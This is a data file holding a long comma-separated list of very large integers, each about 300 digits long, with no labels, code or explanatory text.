79188542312711535537739199336564386082767591476564407152110928292601762570455944833403333016733186258943845582541167750480018215143744268314317575930522807126726079384544777291394757864221186426234267486833389209926183584162185280209614882544568804926723698231276998412214413012522726247588196967492011150173, 51728593101465224366419017173509632903258618785642181023589563707937319742875618196485761711206294581327468441688441902194400744783293907554406101497675539091363717128599494216714819468028615959297624251123923917476241865277790344545235168473616964177434888492689189354986861700408859683543568142760688230980, 14807763221886680041180969829301837788771389678333948376548561372109118662586557625058214807217558762640803473712695757424604171497128314782540307356213696589807768666865618651306118352510505540034351771768544938301252234559070618234561424504481856803390715177596019056465702164735521557686110897940524751600, 37430259112777547913753699757236880502324737556492286191426275918565916264356774721868943517858326158619532477694397466474834317875380199657657597363974679584084085200204410373482883268297068054675971816045627437816626733393720451121125902541160100395411982929217724543485972242652235107685496781236770369516, 125408825941349992611372020649125804945666354519164942922229230640596090839979797048465163424991407449137309118426423190743531090652654192667511889179434933160311928056526804468507556138709274839335583898027001010179389560786814632314153917598252073156403931874729735929605855848554944333906591170118489783734, 128241280791789334568832148213813133879966726422845986423407949922944386465712728547240257813593996577220626701030747161768621750384521738396941619543526718833323375101769813892825276773879971763417241643254790824349412895337621615721051168051776110739060579398678460525538815723188605869795957761373755400733, 4694721219135031887055435096201300647114950090372392555724500676249005617575976172702907616705808184504251496092100094434591784397437759456911890636522586968292119956886804536006316585195712535567720817800958079109678550050128553744497060881599533316894994152988625785754110012983033215445151775277449662634, 37571961406988277687823029519455803699467704073072360980052203928488153578184976149088802604108969633353391589232646545541959061565392216196196161418435390432019183644188719885679942329282470935862966845622965150163622166532659014755386044467624234509957166938325295783265719530138073828777383651796452647945, 123022221997632044138343021485115198490699686010262096983029417818666618185060644796923750603076788080216659617123965457917771428436904729704213592391703620802226556962478301990306045873967752163540577775566924280469837775677316256222134429897336060254282230487766592553372368792362905793812288633502882698231, 49428034899505825613720307311332030353693400357561770584292133697346070840501908058655498631287452237798092587786603538492823513766877210362972146958290959475865036417821579630040885036163118864700299710441553502076121745579669929555561489001141038444284821129331996424039040109326256310667134332268814537893, 96272605948250296377156960477019141888002278985349298396668905808495198159108136146786425074393985755359783195940353202992019615625740695600534661354743887922326397484846464415222455024741812219250443474844990491884757602908482677248770947092476091765004943287178716613012526385844065033416559712637645346395, 129210072108656363257879756744716126327733832115164792559151162502054756264782350961476518157011285389294338456655504280798005841096399831179847496116686634959755826856165661962456683639130803181494005973891499921333697288265909703926642885424257175931370611576054702327675231805207077864348882172774107565614, 14121289858106655903353547130637088587355965686384702959747596909161898545650049110126064823355251448157072856997789908075759084168648997718710556895268755063200978535806466824863214669815907493235464999082245541919141110411966656177855033813361816364843957318609987329092802177118806862557759312947041091140, 37179266900369578030167272982285017983207664463071612642477949882746890342595251743369269994621493974924070701040730482952717240797636917321945292361256261976286396692011160180914783183059193266637712120445699860563933902799081276378147522754800795006136202804343536278548258873627752074414896887020278159778, 14382146646570820486675697705112585790555340839377200653261248173324864548425933395803571942680547558652028113590420260190150730185674578160378163213839530999266574717471793930364940401482696250311312709903358905150797803891809648635119584363192522759433904770188274695934998966431194715614826956900851787542, 136913879392510208080799569246578677313787048940558538732440012102784288230477558475818266733146145584120311343684380470443018861710863965346583592859322225466958294300475950449407601339313703777141851484558560232735438927520080342072041477392220779978245641945047056896517270910820864669808326368630808335102, 122999458438696055921237646800105037121263042438836589519859199086181052855839783554366495068293643304813177426267143200757982722494453190596524870578006908320018562062827087466638627797478888305573441699563711858771590706171758401734524953122491274016315828221585708629558823747240982646964801482282166114081, 53186365077527876380488630338532828719934329110138969292933631049790959070074019245004565023099594800535396286618686592234861124290554892401636469043577060423195147475903596751374141872399873198994229040904156755075877415584072361966691977117568766865402528049130025601500066096729144573106437087648996668928, 37080578509883631392357451498850058796869642116974149103385529187300048068229281649105300921927623910048795613558570103188517113214605409467904710431701822682908457831121933452150853377327796020184160191592800429310532355435129043269662509711311535135519982280970896083986204188999743862632137890965363584712, 30280850252814399273834768940031883470530066278531408850511732252245431233097707542874195602415549452668426642381369669381171658087480728151531208442801656852706032674428670387903152712516686262665853443844523764056759222147297747163751682938354413143463595325933538794109731227232404941652776156891960174230, 48923621529874484682531174275699075594894757051057892267799200902901245301772307358222430901019981287682035215751761524411625487425704903041794335676905688784369209610593666252778699376568965849723215623764127028689134103340421569986277771813996642673655199394821291721572999077453955346565480152099066864997, 113348196010165181745570665232718774429114441363997156586255178587354215428758899896496418761977488397345133453659918934283611210219341790438951858738635443781354959078881773426475550501848100129980205590211673978236113149082076243489470936673610241770630113280578940899535614745736698088218877864192069896374, 137570393373739793587787657755470442573595725403910193654333136292853261711223295221876404740782980992440375567302811343830656768250469170973295111413376784562018500256377332971201802803450245989656686623798534634568161182919484729738986877271205012132991460488473109549938786023858436085288510068853288629362, 6580842568485030420349764872723342650128835655500333310453100955613790643062727104129992918653918897580592958483566841479295940515566608489027095702477046968957108554643648993087164852867414054123780505493801872035475222892636725792986556138226074248148808683581566012291888122738511158670429227815706144857, 62820076155184474802965693049543618651909388321837200576122503726104262681123483994125159656573932346482404863577959569158778653593272312818068438243253293940739512441714022944382717510146602828980877484232743381146665118928305400539807581741836655097907536939742234760015187120714808851976284233423689537763, 59798166471617544531804877704107720287043150741251685624658197628172801451974612422120331274068080184894525904673909112614196676596566176213874262406678630205447792103130221697281375773551615528927115529756769240612960137977486008710550809366687626192713302154682787215820126221194641367017521013708252288128, 78179535291954101438275676045955356938054597387802056474988220078239810831238984029742140885348663341286911157820167170550974307554039714816320342734139364049779349470006284864385850303309035898352873195984486780787653191768535036201402385541484516152741300552741375503519567795481080795789770764868515707038, 5096654334501274277175436165270195322675390541210070933216742547420595408136605358891114120277525599794850794985103514790975288682962521233831467421248447994734141207664158688759277985157093355775127339770795353087749441065346761420991379868160079340330165127842250321802152536057997274486674094133550398610, 103666106590012554651845890532710412200652282263758800789740619950370602079060804638992391607320928482409918053326530848800685030063281908735204993128889530695833797954346535483246380837901134915676042694250721387314908939042550556947016270222800809201928378803750969062681890350763852980853566810319318226835, 48112181215094429658326323766201511808007349605482849320701514783847758117192475973397898152593576962196870895088514671924486376295905084619465194902985451100953001941751806320509035012321920627285040533836630144555104767963044333246945007877311998180304263559792854734468771735406050199345094148688551995251, 10931026422894270704147753904263765525873297389022559581327244335455765192002290152120635167535990984095249003798152589632500486668946975479128078122900502402406445464591537431796858017468490249089340061994795870921711947877137731407443965553700265828293339623947574491581535178599857251291957857751435938542, 37204259403907849468267483889844800483275232006712861384497283513496265434684142210115532305409393361928407036884648503996552432369478789591726774601281591662803032511193169424476104291065733366333259134887397261902317145343186669241448005858023300188408856196680306995096687120564743847264358297974356296525, 111338402217989173260288667764700222737493144382304611326646112540447402641167967939684466443179005710768611128793119379904795354095275536986197260466713844575510729997608055785091034173169241898298083168412537291666435256129210358710375999711847411080776242179424733201291197847186670895139584125821969104926, 50812307012648505465410338738865220453198124227873817762258235511279764374979818379773771877002480774281378810883631382884863091102049554914204605458669373232504557599051492385647901373811963900437228454986867310242549914860251376603191026167690016779581802828499908589088535288609991479034374331155579840990, 33105468033195797274833596890849817939525668513248799768698806091100187808141460117156027889084005252985982730179116353450309365263561385137538681592108299757079363361457647945586778896157093155573200867012054799294868473402671962318558477710383652591615394696317639161927697525718419389455031866200067133885, 37965805715293434296693427909738848173400779004195191087805667558783980469857586975484329298167752145187687793388436858871296872125957604382698304997398296125925786492208050149099969286381928642457631297563914186094666379815853932624942922283706089620026068714217537226353793186654754176603020653092535708395, 42403430459065455258330873374945559417728706244207445631295919282446075203329731691972586297236666431636128233999018584038150087220394142462837333905413159023590012075499101224572932314302793273446616149176426158924984247798959497768071713825505054041518990198591435804535403752618217869133748628205429813645, 58100180234923383561698847787015202336511640083705511209487561583017774270375374771298354130927234858658362737110394022770289342728556567816132703292392999442585766520412962507014178525422419574507241982960195647282800404229558707936841958557002497633791457498384501019471801473863733528493720989329661012135, 71231837523419462052536328024740913020891163771930813684819725339083702198152224865389532819968260545809708877849717554680896695380436862481097320428426745168412857787385378924139862433294114224963961988473307407770468356963081774663726546829949623437515497199228822978224804943089799900140926969525965936998, 8571576240649588936516570433454019208462335037946735262883301925565468356672796715337071879203737974407255400124077895203552351701797740856014491122447873268819863289533307827314720538896840498541881867583523252428072939519543587649494586951954107480019622686492957624667819453609320826989474383695452311960, 137326111097722536880294231504759106293424813271568268292837156644862715059094151759969995096465371149217167455630663833282412472052692304233263331666406770669780467228353140996306339773908442780500407034977230378061466107794213047524193717157476357467378923506035337226145553797462002506513681389467764230272, 127990015620595042368037308383393485833132364183760979405912516128094542355564927279053010010748774559086371959959768655687431318383826415328203589641116879748919894814684571356931031538421764650201716267734457780943877723388452724669355579784992841807407302907837025205019746374326696141055071209619604129079, 141091099830171873459335874258412012164759490947982526711891732814708321951880100792913651831055955065793132884944599271847878347346593483208120737736225233266539299204012098199121052387219805238652690816991790113777283968248833561609365951128405740288623802164782977406659792505218980795182810689123253474957, 52174656437792708490755661819736545133080027380691919715213459983045151415205909631747715424363011718607051731637963634976529493120593247116331465470294495334978171317029116856860028773573532974864370978402375103107527638811151942392138188127877425195817879021755349497715603458804474708381073070898721139595, 116143688819112160837757934557941658727814585835684075179842756208151092354549863755476084570555870493552361729437761866762112293626023887449707338966761931864049977154210538493238528685063564962375006243646958003640528659089371629417316173333563917793233343164046765569275083142450990344416521245341017023920, 38918608997920291667404762823314337579606107693766439066547090604255332781052758096385285437975780574244138612724379191546958834381305672808469508809169541592711688848903893328048666557644443010903070064072150002943214150212652078420158299677213184384796896231688384656819967904444314383756726327484800768590, 44769352053449221375370593441052265094411264390259238658628876359148733523866784445079547435034053258326002368814689172617025957572464785219453477810351209110614890991238834633589612413589279844218627505812065098106486689414743296755690865567220937891929539142013592127700608621193080565600433448134113000897, 100703398361199157850059566817402000281433776026953619894996673071740301620893288556712239230122252578212520505021883635509755893533053883618343710991391541127654127318955637476770218185744290510188579118391043300832323175530539826822539018462672004698534867799565078423567365914765354240199376438464856745864, 28441916448148116184573432244779257498551950005552819728839588408018945629858971984384428734542459953799979693737498713814749298556256623264737818908447005831703116539533564246996159796425056157622480803588063508010869780130352112562257322588386555566774229924189335815977562619247907235268825662070366278508, 36891332863352502950668601605831610513240449298201648882289642754293481284277946124660950941048839469516167762375573710819814528999485513974720068249622409910315731038520740063402830318125568700565549121517373411093903907485167837833487916226670985225217750080230916862661797966262364009932997079084991862535, 20531666118982036242265901659138881045237977622561729336461459102399953783481602868233033165721946704130783770526902897174411383038584348006296979966144952115836474275927993285260611506411895250371380566940975071984086839083478238980528421308103813076692354596304146655370022359561628928499816864006952055722, 45377507784581461408419144763208492063256573638724318492111259784512247468189309785026476114145083949746718605288226880308940091444622638674226062350684936552597380201053962740211737651713123689698878500465737499356633318968506693670291090777107942224399077406630359368607500658688073907497945941907813512993, 13304307487881705622525008582604068559260067600803238463098888537490810688897016238708761186428359627719926140550008629291854940442941489115670213111405005294414507997187244078235425480050066086926133772680086376085440263903635408656675218998089578153814282809706142053316298478438288635085756156780346832459, 48578042241274677483426040452075007283756677098894767708887068206750213880725362488442184130662243746955282556086170460633944119778858575771543706293420777720000784340457986506908861663196723527090151758979313509643340533894785642775969207639852977209580464917354601157950614611819849066532475498354435764716, 67890885852461105656180410296768624417265126472154113565894145717486430962513755440011992622454612939453930024578052610404018821154214012656910417191284905747500560777321650230047887106004468292555140508589977506863888753060975157392374547084768774750541525431333521177999247829092097197482191360773455831823, 59947525024141724098667685391433213987568071292397044083046993800796736944465157605105592056598396515933449658891698820157860568560762013342590654274143788293759248658802102541442171698923861279581925491385425212849050084630105361703144052048334266718863441212674533444546119866906680049717914964805941123156, 27752831683021484124604604212025325673186307303280527615372225670192536717537197935320089059604831121877688392195862603861278748317048467938448558070688582344075579022126363655118155843869773957436298508268904897190863477253953596055778660228463660139862507019761745418416250679719425674478779246742286286644, 114516474668815078336869302742678971979797912159094771307585118360011776038122043260339102920384842533285231146930529045793552429348248605237998201109558628250513934672762626314590829175970347478312795979424961878088293237897149043958910151356988198599432116974693530813807328130290277127170702023137046485354, 74935734855872016154594360022156929212339425797787181827949745901876018064096275522685620142135654500162375240794458674968175789735960530055029696453343980655722693039623601396412714611289730950911241117515490168687671675521352060848248839154643942233342037879601808703524255584029423220525467126568432958664, 134526037167852188440728970171182211882699506345353831783666683405541554953617870940575835530384054182647627125061845211082773324343349242139689933309665688731010213122758581762118002252442984344255173750271391409910205005879431162915223235675726602354516016243899112773393768186240687053008722137556539334178, 59205532986071693129891953371222146438173404928784878740190381283638810721630073189513802214398725773271089190941627190824355567849736209225286331444795392691596755291062949428058585560054706928472936152258810961002515644130139751776244100880542787667422230342462195393463717146171093992552243559186299683343, 64275854984973366297771457371214910490549371293474797184317982067891561460088123374682676084727357879981943004444338537270172510293588309134773750235228177185063243886353842563538612336026608675535004318149449680909745143511216150508822551757550456950520638523526310605259168413386468876693131040740346314272, 31466844724629319297388027067053734756829841083534409403250932413285945435124929038324947444413853874572614631014727556269677971761450919069018025345147856988087704082976358902145598105651537379138854337118692037702815011482810646046776349124904710705369089684500416479963770855488260177732804975443116102436, 83244939571692513457250911633565253018334738491833705992773398346055480093347002235364508058865079857781301379155064922136196097076329597764735753980659083144448066826348574603615477380430978940325478754148069091738538321287227245689285167607941081529042926832092274746161590567487959469269173115988121456746, 13009882715013868665068655568605050446623110640269699716411285549330591080995332712749301964752276550888041700667980046723296945063783059737479162350048105559024158133258525193015756215772875346669932654314156674781598127239473918208565783322822228779829800868774975351444273024203449936346827667884376373983, 94948728154880598985620511452058613001631148117715963355936887531020265800548126000251020314400712910157037327341355386874998068959894732092415442236859338685568993546385180339263275617463917942086584098001608744718787987395589808766215619313082818451816555535829756336090993666133816337168779993398539095693, 108438305149302047778287191391033402938023337316917702369408970141451173537249293461808413567846000864128242139234370343305487502126951283266873629437628713508136904845539106748168296352715821247311620942352711576676105831778869133876250966791531159277663544525286084794661831464600292155593387252154722596596, 135257450825328487649851807014799479093947691908825116687066492688605879083923784094359557090238506910024365146877607792978975025279486735521420035814634106485297645276805532215044192953168018774249078608817983216099835314472923492251968236351826887532831244312595557024568659197136121829927579640169575660996, 69363227732586026092546622510474770813697265943777579266049141474562223712940811410455911309086886377573688459570845772029408279786434413048252909183956865949060404272008422570885578273016838393495697400425463507328282438811907394882576364805868286456669865495578259870313086299932065263273054192694202460116, 111485290634563889481554094188026216337049607503718795302613219268222207465948721960695192331820786051742820264365059836590768346813328078660697370509230887902713275086220052991468847080591836326691315559888690066494559114896140167639835500774237934456822869669217190832847785517550729981497525892660579545652, 133463638381780442979178155783174157434125211142646292589220005828100570680824063597870532444517469464582235475232060473378083681054478703366116082710873412363792351859367408575570322753189025642848593580870507165274935492685517446396325810377400030382066754016352259761508894853771694154107456387182674663742, 77914630838873327794361440395271145298119223045388584475701256052355808695636305221284316144018367747699864558646379712805502608977588903794839091966219317218499076975062788284353733899651658749402931853953552971443244514294580551776698685091427313929682877607100791364041066397836758600512067193078931771012, 66557432076229469133383844777467491213171330968869664415026517696199791969846639678755522666702062481247792742297278632621249560943701416811374214382433392170136421239010896222125789809319102811497962922236316231920182315898502616710042908890364200680626279121422608258901162024683169204229236527200767217483, 130743541371297775650722413398360811360896092104964244319220687759907287554831721840062363242470205594648460854529979411922953535641371272501766614835172322256808263547527966393981703151393407476970867053857227978071710518866300756350772476983394445904893106599711482650529717930399853125328421857603645082746, 846351812377386794183138288006182875149965011725392172180973862958941505873269156915701300223842677538158474792323758280336384829503529661950215852359947391445713589153809265377013627978831587496731001564236835057161675039091225737454243160068022570817739691838893027897566064454112818939772457986313352646, 118240044291955781966918552917395440581159990252220505543706533844012969779736286080908715046891272450143990276006737884061278814992619965699950504186739779491156330590674401256650163340546802810234161316440080554115331679655985964697997423975165724690226927780725685100780693197098007966543214422730623686421, 109102510565841648469026159856303943476083013181550481458228308415458453830631323001905892604085807124012102702638233509635980325109983572552987743033795572350075207479113797346881056057530975561754871053434536022280401696728128902949646825953799050912884144845023547359303297261558927500879363369769564663120, 126462727212969035821108106247052070746074914620618819740894345052111480605080239521058955686464572199871060906036892488515200575620946539810995064228835100146391690883894339704108342537230850731904984964628269041831345393242893579157500742404319263671419994764386553377369199493451362033879446341485429148975, 27428389487198086059757336975493766393098240164791071884630587361261241300779473184403356568524630318931914281308492717966349957134061724406828223338083611044839626211381540360429487499890996289091713593368798312155553064409593029707611596808466741554647519769933487538400430525959866871164847045588383362117, 26078601786344358535784422056338501248952410223462710519845177052685995041860703571233228545192794338631851578938189966648002057343397757383740458435012017658641959537819381058031378237412664316278066048597701125966137623316853780290422780599035570222226776014610665567803302068504654916636708234238364669671, 124956423176939536457102329156310338683504494950970096271623281082029104325028001882622942322752594525359374196368198516360011025221436710621999915003049549687517344098803305962478075239846704717595242917379861853256069985676838924126088298530702773928901304551441272836166305588978939284193631729070782860194, 75276454645917710947024325890289718184351307177787210218018912427419654783478454422547418212390423386165587492383524885681283158523483093455993781115023833878219389434428399942551842932393267542463956696436861158487420547030141364057717234409225573584778188117030511625713775011601555907077289811721024604094, 77630476012360820872775951130164529422199309992240518068038837562800210712804956066219719712326866781228868277129642097983027945392946064655996114470420277870165585211145282241844722632588994787766662489097950315083459198504024895981093112842123429235890261437043109875966710170926030008977997504706097316015, 35783228676125664586083381669455870269963298694915272784260410381803008229560353166716371885364592073555779504603794352785890336452838214034115748184971723244818844252102801232687086780523453478208999979854125387147409004036261840461048759421022328320160587581171372836498142589851950182381590365389354337594, 28192842895440985892782662226013371143889098454381089504950300044333781897243498211761692631232105620863413384061427232056444182926472912116363075104009645663703139971788499384798832817528762624047421466476969658554156956372967145718812153302498633377627892363829361550875775892052117374273999056998976459114, 141814259207030896364872469143399940772612060542332857610030057504342371442646178216902902595194369677017288815594537728396979139947577266544419759027196764319271703133778402000411969057263506444308047814255929392001736085601338378538678818999908522324420330499536234242902925255366524189233578235264435879900, 131679955700296999196975177714734302538349620573909614163537373028065381502051131299110644006983677724663495980154876626339267918997331264969652801111362692945961970623857969899842559435215464671109516004511382559323647605364470410373940530137466477520648829577199575826347318496759783624129886462445614334017, 129270459022442988488594249998409025579858632116007930644260440891589758455408026066041410131740116396231360517036750437388831470811629375047601684619531920836326571390287663754159210521313864764999889233653768753716638389146051608246335575656280812815488807911260324216933351828197623760757566656707521780945, 46763888559945572160703715679876842327767658021291947212992650398919270469288351310513992872932016130553571163759995059992306875226425369456423909799376639256418573355913752197049719129363053650251318894813022928152136406054008393585487868478219655369758658692958633635835596390975283410339554349766647671782, 89729425154549762997869975750924214253292433337961524846183536309829917448547471475852951180542920880440625861720580410124183548006109474645828138579244127367976378010210688817743091563387569976970413279647442018628637559196174839617151719605615366075197384546514854580621002312782540507214879723716064714438, 73467856792202014092673174190726944783488036249944607005408553718981586842613843623962789522259729930334425395209559161927300036852172630862319243721874723663343951043154031437574719614825220179912857450201595223358426645559462345077490880606098170790014774298819572407110902925404751365812057866625824454953, 117726692734405133761335127961593772675772174887891527354604216232786016187801236056154831999576849476636371982371870894906587334567210217702935732406193077182151943685854847510001759450716857815527370707496135378716093728574532243013411356248463036080318896246697422755652325546957592140547685280043801229841, 54039644574721308936182519328100107205523859590507928490218516920831591786400330178691015568997242343621300796822792041622794939075618397369883319498012587586473670010323179146124904456173934121108298934057286280320058107245991614992289564461279374747811106044330615437403438342793714984728563033008867285030, 133120642751392572327881602009910560844488565859608128945856418523385913395087554536372941910364520870046560295884645104824749343798961733200134926937893102952265294481499937052021604845156415220523915078131891537815638906824727173561154421115973029270485556922022099099894152721920913355860421916626339624520, 68993720885473232400568518048493891765935926282464862898137054528669450728547145215914033698957599323938029427703634825857008641176721066973173053357633079623542104003083764868465050515209115435036564506590371167770401455006769335310538378832630849567366735685066125974113867646623338696782001570762569053456, 114649448274591100828994946685579576823313608639886604803683797562194442386594861348229943523039956002984395242619128453936440820339939691355060793200345883423129189417462330546703312990562862741771266999759338993778772342354026887168974165608823005005006103810754635640275875695849170781502372359254290853, 10219883910134618303422245309696785719408404589043691829775464121090510721255806112046863338521329813409340289570920745888643994063648312105647557710815383426624723355557233448126251868572523616169149179501079518916398863755065265773421227814660354792233706971822513355653745238080211789445015890055627922406, 60821679368479491843769758936970756328878999664496863053920318004474052825043498241770288026256729085466051437070331167393809549068586808665202674063276202578679203033460339320527811955717960765592183399687355642913551141701576295270498380902411498013005557506746340553412570226350830290260387605247129328207, 41256110103311378284628745146023038663078858168843381965293050641063186994894538638106456880221214996565800637422945334766553570642080292662650977217445661716020729987595968180108913190338845121937833408524351853567887971707487598145448000341360919444410486598443129002441704963531606797935701746466649074207, 49312697414916060000750514871404296343907934537869118806833301866091149816477453796628168221240394092818035883782938835833781262978335235417823968952985664614858318780500695215458244273530509798070458256204989079948618194219482598849906367633246296237843168072449163486569359819297094939862897523698078384907, 86237380236503094586884581645018451978246465888184489179946794999873854451978550522850427996655102009303387559384983241093284206294567531088621804295971371584408223928801829184286891533737530393081641827681747906146846236003481885467995706471367242157705052352010530984024762079883263935466111140566072502126, 93263661269013826383038731639139742144547225347580251294921070197843975021310961723857708474391803967004176898189205540556089812250661916169181959640080396678384995389842298970923637850187016296276208202873572031577161179319809114587748937951425859230395142262539298072309177680888688725322765561003250119641, 62829883189478672060021156446733610923813463809605540798011231636785828923207149829450667900603962371876610894607468565893534380347285150839354735112726552707076789459351682964690932232754084329819590577927067091244481125342673664642296025077372760900547729406706137352083053316811520117237268232507576159979, 131751882278456321767677470890529496696844976410811245103848918827301042027341107806654173322673294952149766775351460083701498653062181990419201138974286552015694005793550438343620698262639506953605782007096046431803983962069669356246989831920787680244735918631532023394776256517231971759342625391576142470940, 78097825876893162349002820769152137839357510236884545827427322238089265762135092637567881484805301038914506984311615981762953361972551085350031579461142803565184469365366237261822951089853537969161896859316940862981145254707527157098047470408962079029666140780092736220802507150852040919182164633251055949434, 117794761059100663032108143799846191972689853743401371968843754460087519198046572668919885146943102922751476567420564807294639014881662634879911267930846248826227811593578649038744373295847043991154966613803409880083248680171061482216400716280816381449662911834418447525113761933123097821573990644235752269986, 38660773771471362647455381604369292699818840550780348071500017824090775118376221569376984785710739416462946757457643297545691473952806717221538459017207652724857030174814274204727153186844951822752827779119891321145235280277379726976143799709116014156508646188662203307393935707428520100077018144069274199367, 106134449149752378652422025714041107022773908794090681637513802882271772735301010378050279238207235769499975289300097328900987576702557428638720583598522610146990229049287979334609378351717788657054634350880944720379951166599800088300236835073007354368201531951224169420874539286369847688582475050504205655490, 21344246686933070781942686428379089335399380365096583678195873951197141444705031326073593703885663610284145862722069866863129817436732845612064719719503799774089716471268269955781223763394729131338416679563725260675596690584165009488208411850599561057947987591464892770152157265556958073699862987859536879350, 117838459294905408710539056509865822794191998974600573266743625902995037537841235559692121489251928664216404817167878009199381096484922658226803510093456663800593651601106191214730816452182094673986325786754202201046755840404146539732790193655993928816443292158842186768789893109895454743779646015150615554898, 88767285190975885360567014075655808559906011015101303132275371413177665340336182245847074905699375979074613299464632161968287884242745299862835842822207358569553465248657409152033367347000964202482522568579287518150295665225504205880500826907277272999797806030208172203458199083860088152231727887703164983858, 75135526828854297077103775355388077693830090287639397179745408011091300419853302805674174923923099699656598544938343954549869672288769274245131909770457776514479250386438613519601508253355173178481397241005465030003408990257883292193203550770035237824315345848524334597302339776921081647634947548552512508648, 68283599039360393471300499074541720614671264708998285212113996907117872336959007830736017209112717133905688531421585653744495427287773740965646084300252537840639891455902906949177674366344092998730500593177592672357284774723387436574513053837195664185575911641878551774947244756940708838533756035681207020910, 28221227928902827035312140654310929317616696709304788554208776863995927214353323192517347697346402724866599882747722983705204598979460819322369258425383779010341651674883782813668220965254011112799880679576789938663164990694127515436943031970898278285302653447201328095360637203981233541522645207201805769317, 115392485425528694976470367433760147524722121270439297374479279052878699058446300461716003937337083430093928643554556442958659174027664033059180754099944710941642716939968857526543054335742500313099568035673903789590502739325026394705379416662157684685138027998099379635678266959333679287336441042032659845062, 112770371148648274774402762037526916168806997808439858755015075159336653353979406431316002272409929918312656922340329997316423869775131958673187418528328134690727014040501538673766466455287571518682640305278596998154408257947626907877868835608860218270582573087541001250182411729734240327298363441877928260494, 1185627863726678744045181607874870042562407654608111889714503144953267083778566830941815566282180720179013537452830131280073071561616166943532412830332488596689695064732608889190484720185658242867980640582459821128794297748022021231246651250487681737454121658647567961571533579575139336742130479454888992614, 39110750071143703377628032528668600412005465304883340287734295610978297512633351694896829456195106077588259234316153253793847688617014232935023610455751176681874026203075151887289131129741144151872624934223496238502342660270445594201058020485346735263665901971995475721079423455554129297603535071483246492505, 136282141983446079077000444376141850607796381289235768510488614425840018548329331613511002535016506216968751336957465827949772088232477705135722978857331607868872673102607900705066135899257426244980814815036288063491316029423005203331389904676042804984491251589993341801432279551596844374698160931548641468463, 94742888810906363438060080843716454831866360505142457295881343685025101007366616759391181651817720375502104329219889052420259135614369557280604612450250571746570296735454134321297727837376277215288952503483339233159639958700293137631564613871600623223907453862574414323552640368175833167940545520294468078933, 39289672409772945819500230730429931999055365777953673510265123968783188995250583143200598954311698372028294886897361966755789421059553407206517218249466032828701716589631184046699789440441220059026246538909104545447002251036143691104705890642355097945990957842099180862795862498927976363693545871539975684200, 141220248421925890832516008883271178368243350432096651828836862712018583445267952144996375277631323597294028817236301470466268263161120249798690560436762985362453394297824446803063401513448367730883812263082273611703096862472144939965031217630839625139540325550272747688466839635459292720238103675665390884157, 81209354071031064463388598776862684667028485989932599630234923820295111222688039549413730567098823834703243361473811177673207060263957246183472826946954881300228897287628856327436593848047333998820692408512858425994773902452049780923994558686735068155465429489162505603575513885180174177336614258344293159303, 110562532615996477161784797023851824030336596619944316009499227834658187074363766700068990312457975995130267448600922761474708196545625614143725542225253878492468596397703713502033968911180721883985190317951010230768953003962945924407103814470964051846067866466227902509970576733329326840643684437628023817662, 30920865801396061099197805604524559026270548769590643896785158786831458505152739002917817523610947235732720283261111558409180611591981965026207962035214441595790317592080694571499993290784666429872300696719487759227288544328517980300313964833928311373318921476765005578732109128493168611221359543228734684400, 74475866104493460877760164293890663737282819787538162773003381418016771870478096875204250158413073676790595200726844888666101340498589913268928053516144369797006878683954871583538063116340233427753679469624240241264810068669880882132671176188564536687629509816469939410376688577662472201330367572436457114841, 47618036173775555571424038907923176270942258169133091758784298660504111038782832617027897301062414098178191630129937108220342755233038111513733014688849482606471899376928267823022186348168466769072945423603015251646905572852237357717865781726302904879963807811359327481031553965302164109677457687756271024298, 105611585713042005428601435487714531527735692725259317827666422441548372809725615628740104351261435774149239060668368546966786178194371392486402779894193253736990983063026562078637993741713396390240660328685045898717151217024083669246840003360937549890492391228592985397499362766060804220233602934431802304511, 39309583236710258402719333774921738607724586393250258263855811956093306605519527030022973394661241290062599064610859062021111014818795670257150918277993648533949690998426948704617715938235414513288138236450946811224798436734392453474480894217825241790683789386531388145203824240035163138013280533727815067250, 9644616247768997802918824280990409742940715306617201024865603491601611645822400679724580558345198493367447174012017985283385759971948531101050146639184031491535778817197758615678011681035609996634668629191490205796944127830619159819273413969111381830505059990511387391771204807444106205124836397536351514802, 17310033406772471059144291660561929908602789934064128386565022145813042321147762105539250878231481462154342096312701841951587890009699888871067388990586354968765675638682615296293155430797024474953014390442196896303855141042949233142627251418849213352000442773678477903553502374023349681077018861092937160918, 127659254644949924834969350173319054523370627689708968166194181092899672345809460172841640333002904550819089119306848269048425610275050719598289896206539819780782132034128858629155201705916814665236417730377268261680544633614485696781219561205875764044097936252257664106692187911709701221991273256881072659380, 140868297757210856723462734834160699521648958944517825991893517195244422585962450995077664076313912514043098434772381360432266910061127291287278217836647773329713659487673870099395329676545063346282855174452980361106387388845465475541620469710366613502490914321569577134673393306907939136468004354765335335303, 106755497095523371088973224433194119532500343793343735599623240010845037443091755401657968233668626014002679602828148474449373611725734302749677206678826318502719085059017287181457520400374621486050146276695660719826410415786178573581031760574379105184900177604186998224594916202604132929066552215235608741295, 39807455577074146435814976963375059228588586249236427829286108423974019307229597254009463824020791055504092036679066161017704305624536023842788412386164042918960698019553777199518545532307506478367165797643081114519671766732411386216562362567433428687085420409692106909557969430046550913371559437978004766526, 119268437870289925544534541887954553127455656413459605973099608020998769992592006834966248956612694725528515431020060746663264772691485131702448817665161633138406878937370848244361359489198561235976313483643015456270701993429462122178389922538157526244409903383536730260241110824598414493173161386713513250358, 112304416039354932668729857155006172767553570961806540241956555855712814624010380614923762848356321680692380293043108497801966323618976153536934054658375351393195777671589282175116051328980016350921021020176443608424983336215627140770317611911995005543491131896877322347533316975478566774724250142973991691502, 9091629657704802815888867099264732865070291748231897684056562380652528889487336867492478474177633445735254925956944202942188229015989178610439533601667231205221504670491414559175757657123457770134409990340066661341865492262765153397188124649824646944522435999987669559978625530505734866159492457968967278241, 35094285553450296801500207971301447779525520545551973879952451224131993693596907547938188255500518106471378433753218624878323894960801489060404838746191290736393420289645703007092068000251445738344162404548008088845624249721070071208290916950891581855887061065419318882940554043920742884607293038165008517374, 60294703270832738024207154859827695036642795640329381044520744862410621699510508445800572253723886553624279102772818513928030431117784622085188110213429538388551544423284477604039779048236073907545920606437012538187873295716341979796083264690710972702617351713954612044483773308409472021694050350965463733336, 52730406556093470146615289157786549964711676356375179138159072206433390067430842035415193364402715990136030672081868744351637199343003713840093226494244540201286248442954795759244942466014736796577249819163445170978273328577134249216471867367782357388254884265661071268277497818169846778088046730255992608123, 107918772766284100931362512628314639591183872373478922472251072763829828130373871535803666068382290385240710712028715888144764005169985835368752240969601317429175213504824868111281477345915711356534389826361376271963475888758112818686931983338219649658887054313995829777900082521617563651445698890091156035790, 